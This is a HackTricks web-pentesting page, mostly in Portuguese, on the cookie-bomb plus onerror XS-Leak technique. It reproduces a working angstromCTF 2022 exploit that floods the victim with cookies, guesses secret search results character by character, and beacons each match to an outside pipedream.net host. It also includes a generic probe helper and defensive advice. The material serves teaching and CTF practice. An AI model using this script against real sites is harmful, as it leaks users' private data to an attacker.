hacktricks/src/pentesting-web/xs-search/cookie-bomb-+-onerror-xs-leak.md

127 lines
7.3 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Cookie Bomb + Onerror XS Leak
{{#include ../../banners/hacktricks-training.md}}
This technique combines:
- Cookie bombing: preencher o navegador da vítima com muitos/grandes cookies para a origem alvo de modo que requisições subsequentes atinjam limites do servidor/requisição (tamanho do header da requisição, tamanho da URL em redirects, etc.).
- Error-event oracle: sondar um endpoint cross-origin com um <script> (ou outro subresource) e distinguir estados com onload vs onerror.
High level idea
- Encontre um endpoint alvo cujo comportamento difira entre dois estados que você quer testar (por exemplo, busca “hit” vs “miss”).
- Assegure que o caminho “hit” irá disparar uma cadeia de redirects pesada ou uma URL longa enquanto o caminho “miss” permanece curto. Infle os cabeçalhos da requisição usando muitos cookies de forma que apenas o caminho “hit” faça o servidor falhar com um erro HTTP (ex.: 431/414/400). O erro aciona o onerror e se torna um oráculo para XS-Search.
When does this work
- Você consegue fazer o navegador da vítima enviar cookies ao alvo (ex.: cookies com SameSite=None ou você pode defini-los em um contexto first-party via um popup window.open).
- Existe uma funcionalidade no app que você pode abusar para definir cookies arbitrários (ex.: endpoints “save preference” que transformam nomes/valores controlados em Set-Cookie) ou para criar redirects pós-auth que incorporam dados controlados pelo atacante na URL.
- O servidor reage de forma diferente nos dois estados e, com cabeçalhos/URL inflados, um dos estados ultrapassa um limite e retorna uma resposta de erro que dispara onerror.
Note on server errors used as the oracle
- 431 Request Header Fields Too Large é comumente retornado quando cookies inflacionam os cabeçalhos da requisição; 414 URI Too Long ou um 400 específico do servidor podem ser retornados para alvos de requisição longos. Qualquer um desses resulta em um carregamento de subresource falho e dispara onerror. [MDN documenta 431 e causas típicas como cookies excessivos.]()
Practical example (angstromCTF 2022)
O script a seguir (de um writeup público) abusa de uma funcionalidade que permite ao atacante inserir cookies arbitrários, depois carrega um endpoint de busca cross-origin como um script. Quando a query está correta, o servidor realiza um redirect que, junto com o inchaço de cookies, excede os limites do servidor e retorna um status de erro, então script.onerror é disparado; caso contrário nada acontece.
```html
<>'";
<form action="https://sustenance.web.actf.co/s" method="POST">
<input id="f" /><input name="search" value="a" />
</form>
<script>
const $ = document.querySelector.bind(document)
const sleep = (ms) => new Promise((r) => setTimeout(r, ms))
let i = 0
const stuff = async (len = 3500) => {
let name = Math.random()
$("form").target = name
let w = window.open("", name)
$("#f").value = "_".repeat(len)
$("#f").name = i++
$("form").submit()
await sleep(100)
}
const isError = async (url) => {
return new Promise((r) => {
let script = document.createElement("script")
script.src = url
script.onload = () => r(false)
script.onerror = () => r(true)
document.head.appendChild(script)
})
}
const search = (query) => {
return isError(
"https://sustenance.web.actf.co/q?q=" + encodeURIComponent(query)
)
}
const alphabet =
"etoanihsrdluc_01234567890gwyfmpbkvjxqz{}ETOANIHSRDLUCGWYFMPBKVJXQZ"
const url = "//en4u1nbmyeahu.x.pipedream.net/"
let known = "actf{"
window.onload = async () => {
navigator.sendBeacon(url + "?load")
await Promise.all([stuff(), stuff(), stuff(), stuff()])
await stuff(1600)
navigator.sendBeacon(url + "?go")
while (true) {
for (let c of alphabet) {
let query = known + c
if (await search(query)) {
navigator.sendBeacon(url, query)
known += c
break
}
}
}
}
</script>
```
Por que o popup (window.open)?
- Navegadores modernos bloqueiam cada vez mais third-party cookies. Abrir um top-level window para o target faz com que os cookies sejam first-party, então respostas Set-Cookie do target vão persistir, permitindo a etapa cookie-bomb mesmo com restrições a third-party cookies.
Generic probing helper
Se você já tem uma maneira de definir muitos cookies no target origin (first-party), pode reutilizar este minimal oracle contra qualquer endpoint cujo success/failure leve a diferentes network outcomes (status/MIME/redirect):
```js
function probeError(url) {
return new Promise((resolve) => {
const s = document.createElement('script');
s.src = url;
s.onload = () => resolve(false); // loaded successfully
s.onerror = () => resolve(true); // failed (e.g., 4xx/5xx, wrong MIME, blocked)
document.head.appendChild(s);
});
}
```
Dicas para construir o oracle
- Force o estado “positivo” a ser mais pesado: encadeie um redirect extra somente quando o predicado for verdadeiro, ou faça com que a URL de redirect reflita entrada de usuário sem limites para que ela cresça com o prefixo adivinhado.
- Inflar cabeçalhos: repita cookie bombing até que um erro consistente seja observado no caminho “pesado”. Servidores comumente limitam o tamanho dos headers e vão falhar mais cedo quando muitos cookies estão presentes.
- Estabilizar: dispare múltiplas operações paralelas de set de cookies e sonde repetidamente para fazer a média do ruído de timing e cache.
Related XS-Search tricks
- URL length based oracles (no cookies needed) can be combined or used instead when you can force a very long request target:
{{#ref}}
url-max-length-client-side.md
{{#endref}}
Defesas e endurecimento
- Faça respostas de sucesso/falha indistinguíveis:
- Evite redirects condicionais ou grandes diferenças no tamanho da resposta entre estados. Retorne o mesmo status, mesmo content type e comprimento de corpo similar independentemente do estado.
- Bloqueie probes de subresource cross-site:
- SameSite cookies: set sensitive cookies to SameSite=Lax or Strict so subresource requests like <script src> dont carry them; prefer Strict for auth tokens when possible.
- Fetch Metadata: enforce a Resource Isolation Policy to reject cross-site subresource loads (e.g., if Sec-Fetch-Site != same-origin/same-site).
- Cross-Origin-Resource-Policy (CORP): set CORP: same-origin (or at least same-site) for endpoints not meant to be embedded as cross-origin subresources.
- X-Content-Type-Options: nosniff and correct Content-Type on JSON/HTML endpoints to avoid load-as-script quirks.
- Reduza amplificação de header/URL:
- Limite o número/tamanho de cookies definidos; sanitize funcionalidades que transformam campos arbitrários de formulário em Set-Cookie.
- Normalize ou trunque dados refletidos em redirects; evite embutir strings longas controladas pelo atacante em Location URLs.
- Mantenha limites do servidor consistentes e falhe de forma uniforme (evite páginas de erro especiais apenas para um ramo).
Notas
- Esta classe de ataques é discutida amplamente como “Error Events” XS-Leaks. O passo de cookie-bomb é apenas uma forma conveniente de empurrar apenas um ramo além dos limites do servidor, produzindo um boolean oracle confiável.
## Referências
- XS-Leaks: Error Events (onerror/onload as an oracle): https://xsleaks.dev/docs/attacks/error-events/
- MDN: 431 Request Header Fields Too Large (common with many cookies): https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/431
{{#include ../../banners/hacktricks-training.md}}